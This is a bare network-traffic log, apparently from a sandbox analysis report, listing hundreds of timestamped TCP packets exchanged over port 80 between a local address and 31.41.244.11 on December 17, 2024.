Dec 17, 2024 08:03:21.078275919 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.078314066 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.078555107 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.078598976 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.079404116 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.079596996 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.079643965 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.080419064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.080444098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.080513000 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.081461906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.081518888 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.081587076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.082602978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.082618952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.082654953 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.082684994 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.083687067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.083770990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.083812952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.084698915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.084834099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.084877968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.085782051 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.085820913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.085892916 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.086539984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.086882114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.086925983 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.086994886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.087191105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.088100910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.088136911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.088207006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.088262081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.089162111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.089176893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.089230061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.090257883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.090272903 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.090343952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.091382980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.091398001 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.091444969 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.092447996 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.092519045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.092588902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.093451977 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.093501091 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.093568087 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.093600988 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.094573975 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.094654083 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.094691038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.095653057 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.095686913 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.095729113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.096842051 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.096916914 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.096986055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.097023010 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.097790956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.097879887 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.097922087 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.098843098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.098972082 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.099013090 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.099925041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.099972010 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.100007057 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.100106955 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.101139069 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.101258993 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.101298094 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.101313114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.102180004 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.102195978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.102221966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.102255106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.104190111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.104353905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.104401112 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.104557037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.104671955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.104713917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.105410099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.105457067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.105520010 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.106300116 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.106491089 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.106549025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.106605053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.106642962 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.107670069 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.107743025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.107790947 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.108752966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.108825922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.108875036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.116393089 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.116431952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.116446018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.116512060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.116544962 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.116585016 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.117645979 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.117794037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.117852926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.118684053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.118889093 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.118946075 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.119879961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.119935989 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.119961977 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.120937109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.121020079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.121089935 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.121985912 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.122037888 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.122049093 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.122811079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.122951984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.127108097 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.251548052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.251606941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.251710892 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.251771927 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.252058029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.252106905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.252135992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.252175093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.253184080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.253233910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.253261089 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.253277063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.254204988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.254254103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.254317045 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.254358053 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.255357027 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.255429029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.255475998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.256387949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.256443024 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.256506920 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.256611109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.257575035 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.257997036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.258040905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.258101940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.258647919 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.258694887 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.258713007 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.258755922 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.259685040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.259708881 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.259726048 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.259751081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.260807037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.260884047 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.260934114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.261898994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.261948109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.261981010 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.262027025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.262936115 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.262978077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.263128042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.263223886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.264149904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.264199972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.264236927 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.264276028 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.265153885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.265211105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.265223026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.266266108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.266329050 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.266345024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.266592026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.267334938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.267657042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.267700911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.268423080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.268551111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.268615961 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.269506931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.269582987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.269633055 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.270571947 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.270678997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.270723104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.271637917 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.271678925 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.271754026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.272562981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.272842884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.272857904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.272882938 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.272900105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.273961067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.273977041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.274020910 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.275135994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.275151014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.275191069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.276120901 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.276137114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.276179075 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.277113914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.277159929 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.277221918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.278196096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.278239965 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.278318882 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.278604031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.279364109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.279683113 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.279726982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.280514956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.280530930 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.280574083 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.281589031 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.281609058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.281626940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.281656027 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.282577991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.282622099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.282690048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.282726049 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.283756018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.283771992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.283801079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.283813953 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.284862995 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.284878969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.284908056 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.284921885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.285932064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.285948038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.285985947 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.286000013 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.287055969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.287071943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.287121058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.287149906 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.288033009 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.288079023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.288142920 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.289130926 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.289175034 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.289177895 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.290357113 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.290371895 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.290401936 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.290416002 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.291374922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.291467905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.291511059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.292372942 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.292557955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.292601109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.293473005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.293518066 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.293580055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.294657946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.294677973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.294701099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.294727087 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.295712948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.296346903 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.296402931 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.296819925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.296844006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.296885014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.297859907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.297899008 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.297938108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.298938990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.298980951 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.299041986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.299405098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.300026894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.300187111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.300252914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.300338030 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.301079988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.301125050 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.308530092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.308600903 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.308665991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.308706999 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.309180975 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.309196949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.309273958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.310228109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.310244083 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.310287952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.311353922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.311438084 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.311471939 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.311486959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.312433958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.312498093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.312560081 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.312778950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.313443899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.313491106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.313551903 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.313709974 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.314599991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.314615011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.314661026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.443655014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.443731070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.443754911 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.443818092 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.444257021 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.444319963 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.444541931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.444576025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.444602966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.444637060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.446219921 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.446254015 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.446280956 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.446300983 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.446634054 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.446667910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.446695089 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.446729898 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.447730064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.447793007 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.447932959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.448293924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.448795080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.448827982 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.448852062 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.448879004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.449821949 CET	80	49844	31.41.244.11	192.168.2.5
